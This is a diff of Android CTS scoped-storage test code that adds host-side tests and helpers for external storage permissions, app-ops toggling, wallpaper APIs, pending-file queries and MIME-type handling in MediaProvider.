+@AppModeFull
 public class ScopedStorageHostTest extends BaseHostJUnit4Test {
     private boolean mIsExternalStorageSetup = false;
 
@@ -43,6 +48,19 @@
 
     }
 
+    /**
+     * Runs the given phase of ScopedStorageTest by calling into the device with {@code
+     * --no-isolated-storage} flag.
+     * Throws an exception if the test phase fails.
+     */
+    void runDeviceTestWithDisabledIsolatedStorage(String phase) throws Exception {
+        runDeviceTests(new DeviceTestRunOptions("android.scopedstorage.cts")
+            .setDevice(getDevice())
+            .setTestClassName("android.scopedstorage.cts.ScopedStorageTest")
+            .setTestMethodName(phase)
+            .setDisableIsolatedStorage(true));
+    }
+
     String executeShellCommand(String cmd) throws Exception {
         return getDevice().executeShellCommand(cmd);
     }
@@ -108,6 +126,11 @@
     }
 
     @Test
+    public void testDeleteAlreadyUnlinkedFile() throws Exception {
+        runDeviceTest("testDeleteAlreadyUnlinkedFile");
+
+    }
+    @Test
     public void testOpendirRestrictions() throws Exception {
         runDeviceTest("testOpendirRestrictions");
     }
@@ -166,6 +189,7 @@
         runDeviceTest("testCreateUpperCaseDeleteLowerCase");
         runDeviceTest("testCreateMixedCaseDeleteDifferentMixedCase");
         runDeviceTest("testAndroidDataObbDoesNotForgetMount");
+        runDeviceTest("testCacheConsistencyForCaseInsensitivity");
     }
 
     @Test
@@ -237,27 +261,52 @@
 
     @Test
     public void testManageExternalStorageCanCreateFilesAnywhere() throws Exception {
-        runDeviceTest("testManageExternalStorageCanCreateFilesAnywhere");
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageCanCreateFilesAnywhere");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
     }
 
     @Test
     public void testManageExternalStorageCanDeleteOtherAppsContents() throws Exception {
-        runDeviceTest("testManageExternalStorageCanDeleteOtherAppsContents");
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageCanDeleteOtherAppsContents");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
     }
 
     @Test
     public void testManageExternalStorageReaddir() throws Exception {
-        runDeviceTest("testManageExternalStorageReaddir");
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageReaddir");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
     }
 
     @Test
     public void testManageExternalStorageCanRenameOtherAppsContents() throws Exception {
-        runDeviceTest("testManageExternalStorageCanRenameOtherAppsContents");
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageCanRenameOtherAppsContents");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
     }
 
     @Test
     public void testManageExternalStorageCantReadWriteOtherAppExternalDir() throws Exception {
-        runDeviceTest("testManageExternalStorageCantReadWriteOtherAppExternalDir");
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageCantReadWriteOtherAppExternalDir");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
     }
 
     @Test
@@ -312,7 +361,12 @@
 
     @Test
     public void testManageExternalStorageQueryOtherAppsFile() throws Exception {
-        runDeviceTest("testManageExternalStorageQueryOtherAppsFile");
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageQueryOtherAppsFile");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
     }
 
     @Test
@@ -351,6 +405,16 @@
     }
 
     @Test
+    public void testOpenOtherPendingFilesFromFuse() throws Exception {
+        grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
+        try {
+            runDeviceTest("testOpenOtherPendingFilesFromFuse");
+        } finally {
+            revokePermissions("android.permission.READ_EXTERNAL_STORAGE");
+        }
+    }
+
+    @Test
     public void testAccess_file() throws Exception {
         grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
         try {
@@ -382,6 +446,66 @@
         }
     }
 
+    @Test
+    public void testWallpaperApisNoPermission() throws Exception {
+        runDeviceTest("testWallpaperApisNoPermission");
+    }
+
+    @Test
+    public void testWallpaperApisReadExternalStorage() throws Exception {
+        grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
+        try {
+            runDeviceTest("testWallpaperApisReadExternalStorage");
+        } finally {
+            revokePermissions("android.permission.READ_EXTERNAL_STORAGE");
+        }
+    }
+
+    @Test
+    public void testWallpaperApisManageExternalStorageAppOp() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testWallpaperApisManageExternalStorageAppOp");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    @Test
+    public void testWallpaperApisManageExternalStoragePrivileged() throws Exception {
+        runDeviceTest("testWallpaperApisManageExternalStoragePrivileged");
+    }
+
+    @Test
+    public void testNoIsolatedStorageInstrumentationFlag() throws Exception {
+        runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageCanCreateFilesAnywhere");
+        runDeviceTestWithDisabledIsolatedStorage(
+                "testNoIsolatedStorageCantReadWriteOtherAppExternalDir");
+        runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageStorageReaddir");
+        runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageQueryOtherAppsFile");
+
+        // Check that appop is revoked after instrumentation is over.
+        runDeviceTest("testCreateFileInAppExternalDir");
+        runDeviceTest("testCreateFileInOtherAppExternalDir");
+        runDeviceTest("testReadWriteFilesInOtherAppExternalDir");
+    }
+
+    @Test
+    public void testRenameFromShell() throws Exception {
+        final ITestDevice device = getDevice();
+        final boolean isAdbRoot = device.isAdbRoot() ? true : false;
+        try {
+            if (isAdbRoot) {
+                device.disableAdbRoot();
+            }
+            runDeviceTest("testRenameFromShell");
+        } finally {
+            if (isAdbRoot) {
+                device.enableAdbRoot();
+            }
+        }
+    }
+
     private void grantPermissions(String... perms) throws Exception {
         for (String perm : perms) {
             executeShellCommand("pm grant android.scopedstorage.cts " + perm);
@@ -393,4 +517,16 @@
             executeShellCommand("pm revoke android.scopedstorage.cts " + perm);
         }
     }
+
+    private void allowAppOps(String... ops) throws Exception {
+        for (String op : ops) {
+            executeShellCommand("cmd appops set --uid android.scopedstorage.cts " + op + " allow");
+        }
+    }
+
+    private void denyAppOps(String... ops) throws Exception {
+        for (String op : ops) {
+            executeShellCommand("cmd appops set --uid android.scopedstorage.cts " + op + " deny");
+        }
+    }
 }
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java
new file mode 100644
index 0000000..c97b41f
--- /dev/null
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.host;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeInstant;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Runs the ScopedStorageTest tests for an instant app.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ScopedStorageInstantAppHostTest extends BaseHostJUnit4Test {
+    /**
+     * Runs the given phase of Test by calling into the device.
+     * Throws an exception if the test phase fails.
+     */
+    protected void runDeviceTest(String phase) throws Exception {
+        assertTrue(runDeviceTests("android.scopedstorage.cts",
+                "android.scopedstorage.cts.ScopedStorageTest", phase));
+    }
+
+    @Test
+    @AppModeInstant
+    public void testInstantAppsCantAccessExternalStorage() throws Exception {
+        runDeviceTest("testInstantAppsCantAccessExternalStorage");
+    }
+}
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index 251f65a..4596cab 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -26,17 +26,23 @@
 import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
 import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
 import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.createImageEntryAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
 import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
 import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
 import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
 import static android.scopedstorage.cts.lib.TestUtils.installApp;
 import static android.scopedstorage.cts.lib.TestUtils.listAs;
+import static android.scopedstorage.cts.lib.TestUtils.openFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
 import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
 import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
 import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
 import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
+import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -51,11 +57,15 @@
 import android.content.ContentValues;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.ParcelFileDescriptor;
 import android.provider.MediaStore;
 import android.scopedstorage.cts.lib.TestUtils;
 import android.system.ErrnoException;
 import android.system.Os;
 import android.system.OsConstants;
+import android.text.TextUtils;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -74,6 +84,7 @@
 import java.io.FileDescriptor;
 import java.io.FileOutputStream;
 import java.io.IOException;
+import java.io.OutputStream;
 import java.util.ArrayList;
 import java.util.Arrays;
 
@@ -92,9 +103,16 @@
     private static final String TAG = "LegacyFileAccessTest";
     static final String THIS_PACKAGE_NAME = InstrumentationRegistry.getContext().getPackageName();
 
-    static final String IMAGE_FILE_NAME = "LegacyStorageTest_file.jpg";
-    static final String VIDEO_FILE_NAME = "LegacyStorageTest_file.mp4";
-    static final String NONMEDIA_FILE_NAME = "LegacyStorageTest_file.pdf";
+    /**
+     * To help avoid flaky tests, give ourselves a unique nonce to be used for
+     * all filesystem paths, so that we don't risk conflicting with previous
+     * test runs.
+     */
+    static final String NONCE = String.valueOf(System.nanoTime());
+
+    static final String IMAGE_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".jpg";
+    static final String VIDEO_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".mp4";
+    static final String NONMEDIA_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".pdf";
 
     private static final TestApp TEST_APP_A = new TestApp("TestAppA",
             "android.scopedstorage.cts.testapp.A", 1, false, "CtsScopedStorageTestAppA.apk");
@@ -115,6 +133,7 @@
     @After
     public void teardown() throws Exception {
         executeShellCommand("rm " + getShellFile());
+        MediaStore.scanFile(getContentResolver(), getShellFile());
     }
 
     /**
@@ -203,6 +222,7 @@
 
         try {
             executeShellCommand("touch " + existingFile);
+            MediaStore.scanFile(getContentResolver(), existingFile);
             Os.open(existingFile.getPath(), OsConstants.O_RDONLY, /*mode*/ 0);
             fail("Opening file for read expected to fail: " + existingFile);
         } catch (ErrnoException expected) {
@@ -255,6 +275,7 @@
         FileDescriptor fd = null;
         try {
             executeShellCommand("touch " + existingFile);
+            MediaStore.scanFile(getContentResolver(), existingFile);
             fd = Os.open(existingFile.getPath(), OsConstants.O_RDONLY, /*mode*/ 0);
         } finally {
             if (fd != null) {
@@ -296,6 +317,7 @@
         final File shellFile = getShellFile();
 
         executeShellCommand("touch " + getShellFile());
+        MediaStore.scanFile(getContentResolver(), getShellFile());
         // can list a non-media file created by other package.
         assertThat(Arrays.asList(shellFile.getParentFile().list()))
                 .contains(shellFile.getName());
@@ -363,6 +385,7 @@
                         "LegacyFileAccessTest2");
         try {
             executeShellCommand("touch " + shellFile1);
+            MediaStore.scanFile(getContentResolver(), shellFile1);
             // app can't rename shell file.
             assertCantRenameFile(shellFile1, shellFile2);
             // app can't move shell file to its media directory.
@@ -397,6 +420,7 @@
                         "LegacyFileAccessTest2");
         try {
             executeShellCommand("touch " + shellFile1);
+            MediaStore.scanFile(getContentResolver(), shellFile1);
             // app can't rename shell file.
             assertCantRenameFile(shellFile1, shellFile2);
             // app can't move shell file to its media directory.
@@ -617,6 +641,35 @@
         }
     }
 
+    /**
+     * Test that legacy apps creating files for existing db row doesn't upsert and set IS_PENDING
+     */
+    @Test
+    public void testCreateDoesntUpsert() throws Exception {
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
+        pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+
+        final File file = new File(TestUtils.getDcimDir(), IMAGE_FILE_NAME);
+        Uri uri = null;
+        try {
+            uri = TestUtils.insertFileUsingDataColumn(file);
+            assertNotNull(uri);
+
+            assertTrue(file.createNewFile());
+
+            try (Cursor c = TestUtils.queryFile(file,
+                    new String[] {MediaStore.MediaColumns.IS_PENDING})) {
+                // This file will not have IS_PENDING=1 because create didn't set IS_PENDING.
+                assertTrue(c.moveToFirst());
+                assertEquals(c.getInt(0), 0);
+            }
+        } finally {
+            file.delete();
+            // If create file fails, we should delete the inserted db row.
+            deleteWithMediaProviderNoThrow(uri);
+        }
+    }
+
     @Test
     public void testAndroidDataObbCannotBeDeleted() throws Exception {
         File canDeleteDir = new File("/sdcard/canDelete");
@@ -636,6 +689,81 @@
         assertThat(canDeleteDir.delete()).isTrue();
     }
 
+    @Test
+    public void testLegacyAppUpdatingOwnershipOfExistingEntry() throws Exception {
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
+        pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+
+        final File fullPath = new File(TestUtils.getDcimDir(),
+                "OwnershipChange_" + IMAGE_FILE_NAME);
+        final String relativePath = "DCIM/OwnershipChange_" + IMAGE_FILE_NAME;
+        try {
+            installApp(TEST_APP_A, false);
+            createImageEntryAs(TEST_APP_A, relativePath);
+            assertThat(fullPath.createNewFile()).isTrue();
+
+            // We have transferred ownership away from TEST_APP_A so reads / writes
+            // should no longer work.
+            assertThat(openFileAs(TEST_APP_A, fullPath, false /* for write */)).isFalse();
+            assertThat(openFileAs(TEST_APP_A, fullPath, false /* for read */)).isFalse();
+        } finally {
+            deleteFileAsNoThrow(TEST_APP_A, fullPath.getAbsolutePath());
+            uninstallAppNoThrow(TEST_APP_A);
+            fullPath.delete();
+        }
+    }
+
+    /**
+     * b/156717256,b/156336269: Test that MediaProvider doesn't throw error on usage of unsupported
+     * or empty/null MIME type.
+     */
+    @Test
+    public void testInsertWithUnsupportedMimeType() throws Exception {
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
+        pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+
+        final String IMAGE_FILE_DISPLAY_NAME = "LegacyStorageTest_file_" + NONCE;
+        final File imageFile = new File(TestUtils.getDcimDir(), IMAGE_FILE_DISPLAY_NAME + ".jpg");
+
+        for (String mimeType : new String[] {
+            "image/*", "", null, "foo/bar"
+        }) {
+            Uri uri = null;
+            try {
+                ContentValues values = new ContentValues();
+                values.put(MediaStore.MediaColumns.RELATIVE_PATH, Environment.DIRECTORY_DCIM);
+                if (TextUtils.isEmpty(mimeType)) {
+                    values.put(MediaStore.MediaColumns.DISPLAY_NAME, imageFile.getName());
+                } else {
+                    values.put(MediaStore.MediaColumns.DISPLAY_NAME, IMAGE_FILE_DISPLAY_NAME);
+                }
+                values.put(MediaStore.MediaColumns.MIME_TYPE, mimeType);
+
+                uri = getContentResolver().insert(getImageContentUri(), values, Bundle.EMPTY);
+                assertNotNull(uri);
+
+                try (final OutputStream fos = getContentResolver().openOutputStream(uri, "rw")) {
+                    fos.write(BYTES_DATA1);
+                }
+
+                // Closing the file should trigger a scan, we still scan again to ensure MIME type
+                // is extracted from file extension
+                assertNotNull(MediaStore.scanFile(getContentResolver(), imageFile));
+
+                final String[] projection = {MediaStore.MediaColumns.DISPLAY_NAME,
+                        MediaStore.MediaColumns.MIME_TYPE};
+                try (Cursor c = getContentResolver().query(uri, projection, null, null, null)) {
+                    assertTrue(c.moveToFirst());
+                    assertEquals(c.getCount(), 1);
+                    assertEquals(c.getString(0), imageFile.getName());
+                    assertTrue("image/jpeg".equalsIgnoreCase(c.getString(1)));
+                }
+            } finally {
+                deleteWithMediaProviderNoThrow(uri);
+            }
+        }
+    }
+
     private static void assertCanCreateFile(File file) throws IOException {
         if (file.exists()) {
             file.delete();
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/PublicVolumeLegacyTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/PublicVolumeLegacyTest.java
index 57ddf29..7e59505 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/PublicVolumeLegacyTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/PublicVolumeLegacyTest.java
@@ -23,7 +23,6 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
-import org.junit.Test;
 import org.junit.runner.RunWith;
 
 /**
@@ -39,13 +38,4 @@
         TestUtils.setExternalStorageVolume(volumeName);
         super.setup();
     }
-
-    /**
-     * This is not an actual test, but rather just a one time setup method that creates the new
-     * public volume on which the test would run.
-     */
-    @Test
-    public void setupNewPublicVolume() throws Exception {
-        TestUtils.createNewPublicVolume();
-    }
 }
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
index 3a5ba59..be2ae44 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
@@ -15,6 +15,6 @@
 java_library {
     name: "cts-scopedstorage-lib",
     srcs: ["src/**/*.java"],
-    static_libs: ["androidx.test.rules", "cts-install-lib"],
+    static_libs: ["androidx.test.rules", "cts-install-lib", "platform-test-annotations",],
     sdk_version: "test_current"
 }
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 22e6fb4..c0d6b57 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -65,6 +65,7 @@
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
+import java.io.InterruptedIOException;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashMap;
@@ -84,8 +85,11 @@
     public static final String INTENT_EXTRA_PATH = "android.scopedstorage.cts.path";
     public static final String INTENT_EXCEPTION = "android.scopedstorage.cts.exception";
     public static final String CREATE_FILE_QUERY = "android.scopedstorage.cts.createfile";
+    public static final String CREATE_IMAGE_ENTRY_QUERY =
+            "android.scopedstorage.cts.createimageentry";
     public static final String DELETE_FILE_QUERY = "android.scopedstorage.cts.deletefile";
-    public static final String OPEN_FILE_FOR_READ_QUERY = "android.scopedstorage.cts.openfile_read";
+    public static final String OPEN_FILE_FOR_READ_QUERY =
+            "android.scopedstorage.cts.openfile_read";
     public static final String OPEN_FILE_FOR_WRITE_QUERY =
             "android.scopedstorage.cts.openfile_write";
     public static final String CAN_READ_WRITE_QUERY =
@@ -102,7 +106,7 @@
     private static File sExternalStorageDirectory = Environment.getExternalStorageDirectory();
     private static String sStorageVolumeName = MediaStore.VOLUME_EXTERNAL;
 
-    private static final long POLLING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(10);
+    private static final long POLLING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(20);
     private static final long POLLING_SLEEP_MILLIS = 100;
 
     /**
@@ -165,7 +169,21 @@
     /**
      * Executes a shell command.
      */
-    public static String executeShellCommand(String cmd) throws Exception {
+    public static String executeShellCommand(String command) throws IOException {
+        int attempt = 0;
+        while (attempt++ < 5) {
+            try {
+                return executeShellCommandInternal(command);
+            } catch (InterruptedIOException e) {
+                // Hmm, we had trouble executing the shell command; the best we
+                // can do is try again a few more times
+                Log.v(TAG, "Trouble executing " + command + "; trying again", e);
+            }
+        }
+        throw new IOException("Failed to execute " + command);
+    }
+
+    private static String executeShellCommandInternal(String cmd) throws IOException {
         UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
         try (FileInputStream output = new FileInputStream(
                      uiAutomation.executeShellCommand(cmd).getFileDescriptor())) {
@@ -210,6 +228,17 @@
     }
 
     /**
+     * Makes the given {@code testApp} create a mediastore DB entry under
+     * {@code MediaStore.Media.Images}.
+     *
+     * The {@code path} argument is treated as a relative path and a name separated
+     * by an {@code '/'}.
+     */
+    public static boolean createImageEntryAs(TestApp testApp, String path) throws Exception {
+        return getResultFromTestApp(testApp, path, CREATE_IMAGE_ENTRY_QUERY);
+    }
+
+    /**
      * Makes the given {@code testApp} delete a file.
      *
      * <p>This method drops shell permission identity.
@@ -332,6 +361,13 @@
     }
 
     /**
+     * Returns the content URI for images based on the current storage volume.
+     */
+    public static Uri getImageContentUri() {
+        return MediaStore.Images.Media.getContentUri(sStorageVolumeName);
+    }
+
+    /**
      * Renames the given file using {@link ContentResolver} and {@link MediaStore} and APIs.
      * This method uses the data column, and not all apps can use it.
      * @see MediaStore.MediaColumns#DATA
@@ -406,7 +442,7 @@
     @NonNull
     public static Cursor queryVideoFile(File file, String... projection) {
         return queryFile(MediaStore.Video.Media.getContentUri(sStorageVolumeName), file,
-                projection);
+                /*includePending*/ true, projection);
     }
 
     /**
@@ -416,7 +452,7 @@
     @NonNull
     public static Cursor queryImageFile(File file, String... projection) {
         return queryFile(MediaStore.Images.Media.getContentUri(sStorageVolumeName), file,
-                projection);
+                /*includePending*/ true, projection);
     }
 
     /**
@@ -884,7 +920,11 @@
         intent.putExtra(INTENT_EXTRA_PATH, dirPath);
         intent.addCategory(Intent.CATEGORY_LAUNCHER);
         getContext().startActivity(intent);
-        latch.await();
+        if (!latch.await(POLLING_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)) {
+            final String errorMessage = "Timed out while waiting to receive " + actionName
+                    + " intent from " + packageName;
+            throw new TimeoutException(errorMessage);
+        }
         getContext().unregisterReceiver(broadcastReceiver);
     }
 
@@ -991,22 +1031,38 @@
         }
     }
 
+    /**
+     * Queries {@link ContentResolver} for a file IS_PENDING=0 and returns a {@link Cursor} with the
+     * given columns.
+     */
     @NonNull
-    public static Cursor queryFile(@NonNull File file, String... projection) {
-        return queryFile(
-                MediaStore.Files.getContentUri(sStorageVolumeName), file, projection);
+    public static Cursor queryFileExcludingPending(@NonNull File file, String... projection) {
+        return queryFile(MediaStore.Files.getContentUri(sStorageVolumeName), file,
+                /*includePending*/ false, projection);
     }
 
     @NonNull
-    private static Cursor queryFile(@NonNull Uri uri, @NonNull File file, String... projection) {
+    public static Cursor queryFile(@NonNull File file, String... projection) {
+        return queryFile(MediaStore.Files.getContentUri(sStorageVolumeName), file,
+                /*includePending*/ true, projection);
+    }
+
+    @NonNull
+    private static Cursor queryFile(@NonNull Uri uri, @NonNull File file, boolean includePending,
+            String... projection) {
         Bundle queryArgs = new Bundle();
         queryArgs.putString(ContentResolver.QUERY_ARG_SQL_SELECTION,
                 MediaStore.MediaColumns.DATA + " = ?");
         queryArgs.putStringArray(ContentResolver.QUERY_ARG_SQL_SELECTION_ARGS,
                 new String[] { file.getAbsolutePath() });
-        queryArgs.putInt(MediaStore.QUERY_ARG_MATCH_PENDING, MediaStore.MATCH_INCLUDE);
         queryArgs.putInt(MediaStore.QUERY_ARG_MATCH_TRASHED, MediaStore.MATCH_INCLUDE);
 
+        if (includePending) {
+            queryArgs.putInt(MediaStore.QUERY_ARG_MATCH_PENDING, MediaStore.MATCH_INCLUDE);
+        } else {
+            queryArgs.putInt(MediaStore.QUERY_ARG_MATCH_PENDING, MediaStore.MATCH_EXCLUDE);
+        }
+
         final Cursor c = getContentResolver().query(uri, projection, queryArgs, null);
         assertThat(c).isNotNull();
         return c;
@@ -1078,4 +1134,13 @@
         }
         throw new TimeoutException(errorMessage);
     }
+
+    /**
+     * Polls for all files access to be allowed.
+     */
+    public static void pollForManageExternalStorageAllowed() throws Exception {
+        pollForCondition(
+                () -> Environment.isExternalStorageManager(),
+                "Timed out while waiting for MANAGE_EXTERNAL_STORAGE");
+    }
 }
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java
index b0bf57e..e1fed5d 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java
@@ -23,7 +23,6 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
-import org.junit.Test;
 import org.junit.runner.RunWith;
 
 /**
@@ -39,13 +38,4 @@
         TestUtils.setExternalStorageVolume(volumeName);
         super.setup();
     }
-
-    /**
-     * This is not an actual test, but rather just a one time setup method that creates the new
-     * public volume on which the test would run.
-     */
-    @Test
-    public void setupNewPublicVolume() throws Exception {
-        TestUtils.createNewPublicVolume();
-    }
 }
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTestHelper.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTestHelper.java
new file mode 100644
index 0000000..ce5d2a2
--- /dev/null
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTestHelper.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts;
+
+import android.scopedstorage.cts.lib.TestUtils;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Creates public volume for running tests from {@link PublicVolumeTest} and
+ * {@link PublicVolumeLegacyTest}
+ */
+@RunWith(AndroidJUnit4.class)
+public class PublicVolumeTestHelper {
+    /**
+     * This is not an actual test, but rather just a one time setup method that creates the new
+     * public volume on which the test would run.
+     */
+    @Test
+    public void setupNewPublicVolume() throws Exception {
+        TestUtils.createNewPublicVolume();
+    }
+}
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index d3b109b..bcffc67 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -27,6 +27,7 @@
 import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA2;
 import static android.scopedstorage.cts.lib.TestUtils.STR_DATA1;
 import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2;
+import static android.scopedstorage.cts.lib.TestUtils.adoptShellPermissionIdentity;
 import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
 import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
 import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
@@ -44,6 +45,7 @@
 import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProvider;
 import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
 import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
+import static android.scopedstorage.cts.lib.TestUtils.dropShellPermissionIdentity;
 import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
 import static android.scopedstorage.cts.lib.TestUtils.getAlarmsDir;
 import static android.scopedstorage.cts.lib.TestUtils.getAndroidDataDir;
@@ -76,8 +78,10 @@
 import static android.scopedstorage.cts.lib.TestUtils.openFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
 import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
